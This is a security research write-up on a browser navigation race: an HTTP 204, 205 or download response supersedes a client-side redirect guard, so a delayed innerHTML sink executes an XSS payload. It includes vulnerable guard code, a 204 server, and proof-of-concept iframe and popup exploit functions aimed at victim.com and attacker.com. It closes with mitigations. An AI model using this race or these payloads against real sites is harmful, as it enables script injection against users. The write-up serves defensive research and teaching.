Security Research

Racing the Redirect: How HTTP 204 Preserved an XSS Sink

By Zeyad Elzonkorany
1

I started this research with a small question: what exactly happens when an application treats a client-side redirect as if it were a return statement?

The answer sounds obvious at first. Assigning to location starts a navigation; it does not terminate the current JavaScript task, cancel work that another component already scheduled, or make an unsafe value safe. Usually that distinction is hidden because the replacement document commits quickly enough to destroy the old one.

I wanted to know whether that assumption could be broken deliberately. More specifically: could a second navigation prevent the guard destination from committing while also leaving the original document alive long enough for its delayed work to reach a DOM sink?

In my original Chrome PoC, the answer was yes: an event-handler payload reached innerHTML and executed in the victim document after the redirect guard had already started. I later built a second, instrumented lab to check that the result was really caused by document preservation rather than an early payload or misleading server log.

I call the behavior a no-commit navigation race. The name is intentionally descriptive. HTTP 204 is part of the mechanism, but the experiment showed that the deeper primitive is not limited to one status code.

Start with the Coding Mistake

The first version of my test page looked like this:

javascript
const value = new URLSearchParams(location.search).get("name") ?? "Guest";

if (looksDangerous(value)) {
  location.replace("/login");
}

setTimeout(() => {
  greeting.innerHTML = `Welcome, ${value}`;
}, 500);

This is useful for teaching, but it contains an ordinary fall-through bug. The program continues after location.replace() and registers the timer. No race is needed to show that assigning to location is not a control-flow statement.

The stronger test schedules the work first and includes the missing return:

javascript
const value = new URLSearchParams(location.search).get("name") ?? "Guest";

const pendingRender = setTimeout(() => {
  greeting.innerHTML = `Welcome, ${value}`;
}, 500);

if (looksDangerous(value)) {
  location.replace("/login");
  return;
}

The return stops the rest of that function. It does not cancel pendingRender. In a larger application, the callback might belong to a different component, a fetch continuation, a task queue, or a message handler. The redirect guard is relying on document replacement to clean up work it does not own.

That is the security assumption being tested.

I use redirect guard rather than sanitizer here. A sanitizer transforms a value into something safe for a particular context. A navigation does not transform the value at all.

Why a Navigation Leaves a Window

Setting location.href, calling location.assign(), or calling location.replace() begins navigation. The active document is not replaced at the moment the assignment occurs.

Chromium describes the authoritative commit point as the point where the browser process receives acknowledgement that the renderer created the new document. Until a navigation reaches that outcome, the old document can still matter.

There are therefore three separate facts that application code often compresses into one mental step:

  1. the application requested a navigation;
  2. the browser fetched and processed a response; and
  3. a replacement document committed.

Only the third fact gives the application the destruction behavior on which the redirect guard depends.

The Important Property of 204, 205, and Downloads

RFC 9110 §15.3.5 defines the HTTP meaning of a 204 response. The browser lifecycle behavior comes from the HTML navigation algorithm, not from HTTP alone.

The HTML Standard explicitly describes three relevant navigation outcomes:

  • HTTP 204;
  • HTTP 205; and
  • a response handled as a download through Content-Disposition: attachment.

These outcomes can abort navigation without creating a new Document, leaving the navigable on its original active document.

That changed my working question. I was no longer asking only, “Can a 204 response stop the redirect?” I was asking:

What happens when a new navigation supersedes a pending redirect guard, but the new navigation itself has a no-document outcome?

The expected sequence is:

  1. The victim document commits and schedules work.
  2. Its guard starts a navigation to /login.
  3. Before /login commits, the parent starts another navigation in the same child frame.
  4. The newer navigation supersedes the pending guard navigation.
  5. The newer response is 204, 205, or a download, so it does not commit a replacement document.
  6. The original victim remains active.
  7. The scheduled callback fires and reaches its sink.

The Flow at a Glance

2

The key difference is not whether the redirect starts. It starts in both paths. The difference is whether a replacement document commits before the delayed work reaches the unsafe sink.

There are two distinct bugs in that chain: the application used navigation as cleanup, and the delayed code used an unsafe sink. The browser is following its navigation rules.

Minimal 204 Endpoint

The response endpoint used by the original PoC can be reduced to a few lines:

javascript
const http = require("node:http");

http.createServer((request, response) => {
  if (request.url.startsWith("/trigger-204")) {
    response.writeHead(204, {
      "Cache-Control": "no-store"
    });
    response.end();
    return;
  }

  response.writeHead(404);
  response.end();
}).listen(9090);

There is deliberately no response body. A CORS header is unnecessary here because the browser is navigating a frame rather than exposing the response body to attacker JavaScript.

Minimal Controller

For a framed test, the controller only needs to create the child and later update its src:

javascript
const frame = document.createElement("iframe");
frame.src = victimUrl;
document.body.append(frame);

setTimeout(() => {
  frame.src = noCommitUrl;
}, candidateOffset);

This is a document navigation, not a JavaScript read of the response body, so a permissive CORS header is not what enables the test. Framing and navigation policy are the relevant boundaries.

I also avoid saying that an iframe is “in-process.” Site isolation means a cross-site child can live in another renderer process. Whether a frame or popup is faster in a particular setup is something to measure, not something to infer from the DOM API used to create it.

The Original PoC: From Popup Failure to Race XSS

The original detials experiment contained useful data that should not disappear from the revised account. It was a different harness from the later authenticated lab, so I report it separately instead of mixing the numbers.

Attempt 1: window.open

My first controller opened the victim in a popup and tried to navigate the returned window to the 204 endpoint:

javascript
function exploit() {
  const payload = "<img src=x onerror=alert('XSS')>";
  const url = "http://victim.com/page.html?name=" + encodeURIComponent(payload);
  const win = window.open(url);

  setTimeout(() => {
    win.location.href = "http://attacker.com/trigger-204";
  }, 400);
}

In that setup, the popup approach did not produce XSS across dozens of attempts while I varied the delay from 50 ms through 500 ms.

The timing instrumentation showed about 467 ms between calling window.open() and the victim beginning to load. The guard destination in this setup had about 200 ms of response latency. A representative trace was:

plaintext
t=0 ms      window.open() called
t≈400 ms    competing-navigation timer fired
t≈467 ms    victim began loading
t≈470 ms    victim started the /login navigation
t≈670 ms    /login response arrived and committed

The operational problem in this representative attempt is visible without guessing about process creation: the 400 ms competitor fired before the victim was ready. Across the broader set of runs, none of the tested offsets aligned reliably with the required interval. The measured 467 ms is valid for that run, but the timing alone does not prove how much came from window creation, renderer work, process selection, or scheduling.

Attempt 2: an iframe

I then moved the same victim and payload into an iframe:

javascript
function exploit() {
  const payload = "<img src=x onerror=alert('XSS')>";
  const url = "http://victim.com/page.html?name=" + encodeURIComponent(payload);

  const iframe = document.createElement("iframe");
  iframe.src = url;
  document.body.append(iframe);

  setTimeout(() => {
    iframe.contentWindow.location.href = "http://attacker.com/trigger-204";
  }, 100);
}

At the tested 100 ms offset, the event-handler payload executed on the first run, again on the second run, and then in twenty consecutive runs in that same local setup. This was not merely a request marker: the onerror handler opened the XSS alert from the victim document.

The corresponding server log had the expected shape:

plaintext
[VICTIM] GET /victim.html?name=<img src=x onerror=...>
[VICTIM] GET /login.html           ← redirect guard started
[C2]     204 triggered             ← competing navigation responded
[VICTIM] GET /x                    ← injected image was evaluated

*** [XSS CONFIRMED] ***

The /login.html request is important. It shows that the guard did run. The observed sequence was not “the check failed to notice the payload”; it was “the guard navigation started, a second navigation superseded it, the second response did not commit a document, and the delayed sink still executed in the preserved victim.”

The original results can be summarized without turning them into a universal reliability claim:

  • Popup via window.open()
  • Tested timing: 50–500 ms across dozens of attempts
  • Observed result: no XSS hits
  • Iframe
  • Tested timing: 100 ms
  • Observed result: hits on the first two runs, followed by 20/20 consecutive XSS hits

This comparison is the discovery story. It does not prove that iframes are always faster than popups, and it does not prove that 100 ms is portable. It proves that changing the browsing context made the race reachable under the recorded conditions.

From XSS Demonstration to Authenticated Proof

The original alert establishes that the race reached script execution in the victim document. It is still poor timing instrumentation because it blocks the event loop and says little about event ordering. A request for a missing image is also ambiguous on its own because the parent can often imitate it.

For the follow-up research matrix, I replaced the alert with a non-blocking marker and gave each victim document a long random token. The token is embedded only in the victim response and is not included in the attacker-controlled URL. When the delayed sink executes, the victim sends the token to a same-origin proof endpoint.

The proof endpoint rejects a wrong token and parent telemetry pretending to use the victim's authenticated channel. The trace analyzer then refuses to count a marker as preservation evidence if it occurs before the guard or before the competing navigation.

This does not make every browser event unforgeable, but it answers the most important question in this experiment: did code inside that specific victim document reach the marker after the race?

The measurement payload is deliberately harmless:

plaintext
<img src=x onerror="labProof('marker')">

I used an event handler because a <script> element inserted with innerHTML does not execute. The defense tests separately check whether CSP or Trusted Types blocks the chosen sink.

What Chrome Actually Did

I ran the follow-up harness in Google Chrome 152.0.7977.65 using two loopback origins. The callback delay was 650 ms, and the guard endpoint delayed its response by 350 ms. These are later measurement settings; they do not replace the original PoC's 500 ms callback, 100 ms iframe trigger, or popup observations.

The synchronized response-class comparison produced:

  • HTTP 204: 2/2 authenticated causal hits; the victim document was preserved.
  • HTTP 205: 2/2 authenticated causal hits; the victim document was preserved.
  • Attachment: 1/1 authenticated causal hit; the victim document was preserved.
  • HTTP 200: 0/2 authenticated causal hits; the replacement document committed.
  • No competitor: 0/2 authenticated causal hits; the guard document committed.

The sample sizes are deliberately visible. These runs establish a reproducible mechanism in this environment; they do not establish a population-wide success rate.

One authenticated HTTP 204 trial yielded these selected events from the merged trace:

plaintext
+43 ms  victim registered its callback
+44 ms  victim started the guard navigation
+46 ms  server received the login request
+56 ms  parent started the competing navigation
+61 ms  server issued the HTTP 204 outcome
+397 ms server issued the login response
+688 ms victim callback fired
+689 ms victim assigned the HTML sink
+700 ms victim proof executed

The line at +397 ms is easy to misread. The server issued the login response, but that does not mean the browser committed a login document. The token-authenticated marker at +700 ms shows that the original victim was still active.

The HTTP 200 and no-competitor controls are what make that trace meaningful. In the 200 trial, the replacement committed and there was no delayed proof. Without the competitor, the login document committed and there was no delayed proof.

It Was Not Specific to setTimeout

I repeated the 204 trial with several callback sources. The delayed marker survived work scheduled through:

  • a timer;
  • fetch completion;
  • scheduler.postTask;
  • and MessageChannel, gated by the same delay.

A separate manual test also reached a delayed raw-script sink. That is a sink variation, not another callback class.

That suggests the useful abstraction is work still owned by the active document, not one particular timer API.

The microtask control was a useful failure. Its marker ran at +24 ms, before the competing navigation began at +44 ms. It produced a visible marker, but it did not prove preservation. I classify that result as premature rather than successful.

This distinction matters. A payload firing is not automatically evidence for the mechanism being claimed.

Blind Timing Was Different from Synchronized Timing

Synchronized mode waits for a victim signal and then applies an offset. It is useful for proving the mechanism, but an external controller should not be assumed to have that signal.

I therefore ran a blind sweep where the offset was measured from frame insertion. Two trials were run at each initial point:

  • 0 ms: 0/2 causal hits
  • 20 ms: 0/2 causal hits
  • 45 ms: 2/2 causal hits
  • 75 ms: 2/2 causal hits
  • 110 ms: 2/2 causal hits
  • 160 ms: 2/2 causal hits
  • 230 ms: 2/2 causal hits
  • 320 ms: 2/2 causal hits

A refinement pass produced 2/2 at 25, 30, 35, and 40 ms. In that warmed local session, the observed boundary was between 20 and 25 ms.

That is not a universal “25 ms bypass.” It is one boundary from one browser, one machine, one warmed server, and a deliberately delayed guard response. Cold connections, scheduling pressure, process placement, and real network latency can move or erase the window.

A Debugging Detail That Almost Looked Like Proof

When Chrome abandoned the delayed guard request, the Vinext server sometimes logged ERR_STREAM_UNABLE_TO_PIPE. Its response handler was trying to write to a stream the browser had already closed.

That was useful corroborating telemetry, but it was not proof that the original document survived. The browser trace and authenticated victim marker supplied that evidence. Keeping those categories separate prevented a server-side symptom from becoming an exaggerated browser claim.

Where the Technique Stops

Preserving a document is not the same as bypassing its sink defenses.

In the Chrome trials:

  • Trusted Types required: innerHTML threw, so no proof was produced.
  • Strict CSP: script-src-attr blocked the inline handler, so no proof was produced.
  • textContent sink: the payload rendered as text, so no proof was produced.

The technique also depends on several preconditions:

  • the target can be embedded in the chosen context;
  • the controller is allowed to navigate that context;
  • the guard navigation remains pending long enough to be superseded;
  • a no-commit response is processed before the guard document commits;
  • delayed work remains reachable in the original document; and
  • CSP, Trusted Types, sandboxing, or a context-safe sink does not independently stop execution.

Anti-framing policy such as frame-ancestors or X-Frame-Options can remove the iframe route. It should be treated as attack-surface reduction, not as a repair for unsafe rendering or broken control flow.

Fix the Program, Not the Timing

The reliable fix is to stop treating navigation as a security primitive.

javascript
const controller = new AbortController();
const value = new URLSearchParams(location.search).get("name") ?? "Guest";

startProfileRender(value, { signal: controller.signal });

if (looksDangerous(value)) {
  controller.abort();
  location.replace("/login");
  return;
}

The rendering component must also honor cancellation and use a context-safe sink:

javascript
async function startProfileRender(value, { signal }) {
  await getProfile({ signal });
  if (signal.aborted) return;
  greeting.textContent = `Welcome, ${value}`;
}

The important properties are explicit rejection, cancellation of owned work, and a safe sink. A faster login server only makes the race harder to observe; it does not repair the invariant.

Next Experiments

The next useful work is measurement rather than a larger payload:

  1. repeat the response matrix in Firefox and WebKit/Safari;
  2. compare cold and warmed connections;
  3. measure popups, pre-created frames, and frames created at trigger time without assuming their process placement;
  4. record beforeunload, pagehide, visibilitychange, and cleanup hooks to look for partial teardown state;
  5. increase trial counts and report confidence intervals; and
  6. build a static query for the redirect-guard plus delayed-sink pattern, then manually validate every result.

That is where this moves from an interesting browser behavior to a defensible research result.

The existing clip is the original XSS demonstration: the iframe is created with the event-handler payload, the competing 204 navigation starts at 100 ms, the victim's 500 ms timer reaches innerHTML, and the alert executes in the victim document. It is preserved for drafting. Before publication, its local path should be replaced; a later companion recording can show the authenticated trace and negative controls alongside the original impact demonstration.

Technical References